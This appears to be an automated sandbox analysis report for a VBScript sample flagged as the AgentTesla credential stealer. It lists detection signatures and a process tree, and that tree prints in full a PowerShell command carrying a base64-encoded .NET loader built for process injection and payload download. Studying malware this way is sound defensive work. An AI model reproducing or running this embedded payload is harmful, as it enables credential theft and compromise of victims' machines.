Edit tour

Windows Analysis Report
GJ890-1286.vbs

Overview

General Information

Sample Name:	GJ890-1286.vbs
Analysis ID:	830445
MD5:	b73f50ff5bacd275282b43778180fd8e
SHA1:	98d820b8a51989b2bf9e9982de31eccf47a54fba
SHA256:	2dbfb717c5e54b04e5e174bc6e62f90c1609adeb52085a9d42184aadac74bf0f
Tags:	vbs
Infos:

Detection

AgentTesla

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Multi AV Scanner detection for submitted file

Yara detected AgentTesla

VBScript performs obfuscated calls to suspicious functions

Snort IDS alert for network traffic

Tries to steal Mail credentials (via file / registry access)

Writes to foreign memory regions

Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)

Wscript starts Powershell (via cmd or directly)

Very long command line found

Suspicious powershell command line found

Injects a PE file into a foreign processes

Yara detected Generic Downloader

Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines)

Tries to harvest and steal browser information (history, passwords, etc)

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Yara signature match

Antivirus or Machine Learning detection for unpacked file

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

May sleep (evasive loops) to hinder dynamic analysis

Uses code obfuscation techniques (call, push, ret)

Internet Provider seen in connection with other malware

Detected potential crypto function

Sample execution stops while process was sleeping (likely an evasion)

Yara detected Credential Stealer

JA3 SSL client fingerprint seen in connection with other malware

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Uses insecure TLS / SSL version for HTTPS connection

Contains long sleeps (>= 3 min)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Java / VBScript file with very long strings (likely obfuscated code)

Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)

Creates a process in suspended mode (likely to inject code)

Found WSH timer for Javascript or VBS script (likely evasive script)

Classification

Process Tree

System is w10x64

wscript.exe (PID: 4464 cmdline: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\GJ890-1286.vbs" MD5: 9A68ADD12EB50DDE7586782C3EB9FF9C)

powershell.exe (PID: 6008 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" [Byte[]] $rOWg = [system.Convert]::FromBase64string('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AQAAASkADAcBAAABKwBOBwEAAAEtAGAHAQAAAS8AgAQCAAABMQAiBwEAAAEzAIAAAQAEgAAAAQAAAAAAAAAAAAAAAADSBAAACgAAAAAAAAAAAAAAoQFbAAAAAAAEAAAAAAAAAAAAAACqATMEAAAAAAQAAAAAAAAAAAAAAKoBUgAAAAAAAAAAAAEAAAAcBgAADAAEAA0ABAAOAAgADwAIAAAAEAAaAFAAAAAQAEkAUAAAAAAASwBQACMAkgEjAJwBAAAAAABBYDEAQ29udGV4dFZhbHVlYDEAVG9JbnQzMgBUb0ludDE2AGdldF9VVEY4AEEAQgBDAEQARQBWQUkAUUJYdFgAUHJvamVjdERhdGEAZGF0YQBtc2NvcmxpYgBNaWNyb3NvZnQuVmlzdWFsQmFzaWMAR2V0UHJvY2Vzc0J5SWQAUmVzdW1lVGhyZWFkAFN5bmNocm9uaXplZABSZXBsYWNlAENyZWF0ZUluc3RhbmNlAEFuZGUAR2V0SGFzaENvZGUAUnVudGltZVR5cGVIYW5kbGUAR2V0VHlwZUZyb21IYW5kbGUASG9tZQBWYWx1ZVR5cGUAQXBwbGljYXRpb25CYXNlAEFwcGxpY2F0aW9uU2V0dGluZ3NCYXNlAFN0clJldmVyc2UARWRpdG9yQnJvd3NhYmxlU3RhdGUAR3VpZEF0dHJpYnV0ZQBFZGl0b3JCcm93c2FibGVBdHRyaWJ1dGUAQ29tVmlzaWJsZUF0dHJpYnV0ZQBBc3NlbWJseVRpdGxlQXR0cmlidXRlAFN0YW5kYXJkTW9kdWxlQXR0cmlidXRlAEhpZGVNb2R1bGVOYW1lQXR0cmlidXRlAEFzc2VtYmx5VHJhZGVtYXJrQXR0cmlidXRlAFRhcmdldEZyYW1ld29ya0F0dHJpYnV0ZQBBc3NlbWJseUZpbGVWZXJzaW9uQXR0cmlidXRlAE9iZnVzY2F0aW9uQXR0cmlidXRlAE15R3JvdXBDb2xsZWN0aW9uQXR0cmlidXRlAEFzc2VtYmx5RGVzY3JpcHRpb25BdHRyaWJ1dGUAWWFub0F0dHJpYnV0ZQBDb21waWxhdGlvblJlbGF4YXRpb25zQXR0cmlidXRlAEFzc2VtYmx5UHJvZHVjdEF0dHJpYnV0ZQBBc3NlbWJseUNvcHlyaWdodEF0dHJpYnV0ZQBBc3NlbWJseUNvbXBhbnlBdHRyaWJ1dGUAUnVudGltZUNvbXBhdGliaWxpdHlBdHRyaWJ1dGUAU3VwcHJlc3NVbm1hbmFnZWRDb2RlU2VjdXJpdHlBdHRyaWJ1dGUAQnl0ZQBnZXRfVmFsdWUAc2V0X1ZhbHVlAEdldE9iamVjdFZhbHVlAGdldF9TaXplAFNpemVPZgBOZXdMYXRlQmluZGluZwBzZXRfRW5jb2RpbmcAU3lzdGVtLlJ1bnRpbWUuVmVyc2lvbmluZwBGcm9tQmFzZTY0U3RyaW5nAERvd25sb2FkU3RyaW5nAFRvU3RyaW5nAE9wdGljYWwATWFyc2hhbABNaWNyb3NvZnQuVmlzdWFsQmFzaWMuTXlTZXJ2aWNlcy5JbnRlcm5hbABTeXN0ZW0uQ29tcG9uZW50TW9kZWwATGF0ZUNhbGwAa2VybmVsMzIuZGxsAG50ZGxsLmRsbABGaWJlci5kbGwAS2lsbABTeXN0ZW0AQm9vbGVhbgBWZXJzaW9uAFN5c3RlbS5Db25maWd1cmF0aW9uAFN5c3RlbS5HbG9iYWxpemF0aW9uAEludGVyYWN0aW9uAE50VW5tYXBWaWV3T2ZTZWN0aW9uAFN5c3RlbS5SZWZsZWN0aW9uAEV4Y2VwdGlvbgBDdWx0dXJlSW5mbwBaZXJvAFN0YXJ0dXAAc3RhcnR1cABGaWJlcgBCdWZmZXIAUmVzb3VyY2VNYW5hZ2VyAFVzZXIAQml0Q29udmVydGVyAENvbXB1dGVyAENsZWFyUHJvamVjdEVycm9yAFNldFByb2plY3RFcnJvcgBBY3RpdmF0b3IALmN0b3IALmNjdG9yAEludFB0cgBTeXN0ZW0uRGlhZ25vc3RpY3MATWljcm9zb2Z0LlZpc3VhbEJhc2ljLkRldmljZXMATWljcm9zb2Z0LlZpc3VhbEJhc2ljLkFwcGxpY2F0aW9uU2VydmljZXMAU3lzdGVtLlJ1bnRpbWUuSW50ZXJvcFNlcnZpY2VzAE1pY3Jvc29mdC5WaXN1YWxCYXNpYy5Db21waWxlclNlcnZpY2VzAFN5c3RlbS5SdW50aW1lLkNvbXBpbGVyU2VydmljZXMAU3lzdGVtLlJlc291cmNlcwBGaWJlci5SZXNvdXJjZXMucmVzb3VyY2VzAEdldEJ5dGVzAFN0cmlu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